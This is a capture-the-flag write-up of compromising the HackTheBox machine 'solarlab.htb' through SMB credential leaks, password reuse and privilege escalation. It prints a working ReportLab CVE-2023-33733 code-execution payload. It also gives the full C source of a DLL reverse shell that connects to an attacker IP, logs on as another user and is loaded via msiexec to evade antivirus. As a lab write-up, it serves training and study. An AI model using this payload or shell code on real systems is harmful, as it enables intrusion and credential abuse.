Introduction
Welcome to an in-depth walkthrough of how I successfully compromised “solarlab.htb,” a Windows machine on the HackTheBox platform. This exercise involved a variety of techniques, from initial reconnaissance, exploit existable vulnerability in Reportlab python library and going to privilege escalation with demonstrating a comprehensive approach. This blog post aims to provide a detailed and professional insight into each step of the process.
Initial Reconnaissance
The first step is reconnaissance. I started by scanning the target machine, solarlab.htb, and have discovered several open ports:
Port 80: HTTP
Port 135: RPC
Port 445: SMB
Port 139: NetBIOS
Port 6791: Unidentified service
SMB Enumeration and Credential Discovery
First of all I’ve decided to focus on the SMB service running on port 445. By attempting an anonymous login I gained access to a shared folder.
Anonymous user was able to proceed to the few endpoints:
$IPC and Documents folder.
Inside the Documents folder, I’ve found an Excel file named details-file.xlsx
.
This file contained clear text passwords along with associated usernames.
Further investigation using a SID brute-forcing tool, lookupsid.py, helped me enumerate existing user accounts on the Windows machine.
By leveraging password reuse attacks, I’ve identified a valid username-password pair for the user blake.
However, with the known cleartext password of user ‘blake‘ I was able to log in only through the port 445 smb.
Other open ports are not suitable for authentication, with the exception of port 6791!
Web Application Exploration
Next, I turned my attention to the web application hosted on port 6791. Navigating to http://report.solarlab.htb:6791/login, I’ve used the credentials found earlier `blake` with a little changes. When I was trying to log in with common usernames, I’ve got the output like “User not found“.
But if I am trying to log in with the usernames that were founded in xlsx file, specifically usernames:
AlexanderK and ClaudiaS
I’ve got the output “User authentication error.“
This behavior is obviously not safe cause real potential attacker could proceed with a user enumeration attack.
I’ve tried to log in with already known clear text passwords from xlsx file, but all attemps without results.
After that I’ve noticed that each existising username contains the first letter of the surname at the end.
I’ve used the cleartext password of user blake and changed the username to blakeB and successfully logged in.
Reportlab CVE-2023-33733
Inside the application, I’ve discovered a feature that allowed users to submit a “Leave Request”. This involved uploading a signature, which was then used to generate a PDF document. Using Burp Suite to inspect the requests, I’ve noted that the PDF generation was handled by ReportLab.
I’ve researched known vulnerabilities in ReportLab and came across with CVE-2023-33733, a critical flaw that allows arbitrary code execution through crafted PDF files in versions up to 3.6.12.
Beforehand, I strongly recommend to read this article about this vulnerability. I have dived further into this RCE and realized how it works and what the main idea behind this finding is. Furthermore, in our case , we have a characters limit of no more than 300 characters. Regardless of this limitation , I was able to reproduce the working payload and bypass restrictions with character limit.
# Generated PDF file
# the payload
With the crucial understanding in the hands, I’ve crafted a malicious payload to exploit this vulnerability. Upon successful execution of my payload, I achieved remote code execution on the target machine.
<a color="[[getattr(pow,str('__globals__'))['os'].system(r'id')for str in[B('W',(str,),{'M':1,'startswith':lambda self,x:0,'__eq__':lambda self,x:{setattr(self,'M',self.M-1)} and self.M<0and 1,'__hash__':lambda self:hash(str(self))})]]for B in[type(type(1))]]and'red'">
Establishing a Reverse Shell
To improve interaction with the target machine, I uploaded a malicious executable (a reverse shell) and executed it. This established a stable command prompt session as the user blake.
While exploring the system as user blake, I discovered a script file utils.py containing another set of plaintext credentials. Using these new credentials, I performed another password reuse attack and uncovered a valid login for user openfire.
C Code Writing for Privilege Escalation
To escalate privileges further, I wrote a DLL library leveraging the CreateProcessWithLogonW function. This allowed me to execute commands as the new user openfire. Moreover, I attached this library through the LOLBAS techniques (specifically msiexec), which I used to implement a more interesting attack, particularly to prevent AV detection, from the existing reverse shell.
C code of DLL
#include <winsock2.h>
#include <windows.h>
#include <io.h>
#include <process.h>
#include <sys/types.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
# define CLIENT_IP (char*)"10.10.14.124" // IP HERE
# define CLIENT_PORT (int)443 // PORT HERE
void ConnectAndSpawnCmd() {
WSADATA wsaData;
if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) {
// write(2, "[ERROR] WSASturtup failed.\n", 27);
return;
}
int port = CLIENT_PORT;
struct sockaddr_in sa;
SOCKET sockt = WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
sa.sin_family = AF_INET;
sa.sin_port = htons(port);
sa.sin_addr.s_addr = inet_addr(CLIENT_IP);
// Attempt to connect
if (connect(sockt, (struct sockaddr*)&sa, sizeof(sa)) != 0) {
// write(2, "[ERROR] connect failed.\n", 24);
closesocket(sockt);
WSACleanup();
return;
}
// Set up startup information
STARTUPINFOW sinfo;
memset(&sinfo, 0, sizeof(sinfo));
sinfo.cb = sizeof(sinfo);
sinfo.dwFlags = STARTF_USESTDHANDLES;
sinfo.hStdInput = (HANDLE)sockt;
sinfo.hStdOutput = (HANDLE)sockt;
sinfo.hStdError = (HANDLE)sockt;
//credentials
wchar_t username[] = L"USERNAME";
wchar_t domain[] = L"DOMAIN"; // Use L"." for local account
wchar_t password[] = L"PASSWORD";
// Create process with logon
PROCESS_INFORMATION pinfo;
if (!CreateProcessWithLogonW(username, domain, password, LOGON_WITH_PROFILE, NULL, L"cmd", CREATE_NO_WINDOW, NULL, NULL, &sinfo, &pinfo)) {
// write(2, "[ERROR] CreateProcessWithLogonW failed.\n", 40);
closesocket(sockt);
WSACleanup();
return;
}
// Wait until child process exits.
WaitForSingleObject(pinfo.hProcess, INFINITE);
// Close process and thread handles.
CloseHandle(pinfo.hProcess);
CloseHandle(pinfo.hThread);
closesocket(sockt);
WSACleanup();
}
// Entry point function for rundll32.exe, like rundll32.exe my.dll,check (without error)
// and it will attack dll and execute main function
void CALLBACK check(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine, int nCmdShow) {
return;
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) {
switch (fdwReason) {
case DLL_PROCESS_ATTACH:
ConnectAndSpawnCmd();
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
Cracking the Administrator Password
During this phase, I found an openfire.script file that contained a hashed password and a password key. Using a decryption function, I was able to decode the hash and retrieve the cleartext password for the administrator account of the ReportLab application.
Final Privilege Escalation
With the administrator password in hand, I logged in as the administrator and obtained the highest level of access and also have read the root FLAG. Navigating to the administrator’s desktop, I successfully grabbed the root.txt file, marking the completion of my CTF challenge.
Conclusion
Hacking solarlab.htb was a comprehensive experience, covering a range of techniques from reconnaissance and enumeration to exploitation and privilege escalation. By methodically approaching each step and leveraging known vulnerabilities, I was able to achieve full system access. This journey highlights the importance of thoroughness and persistence in cybersecurity challenges.
Leave a Reply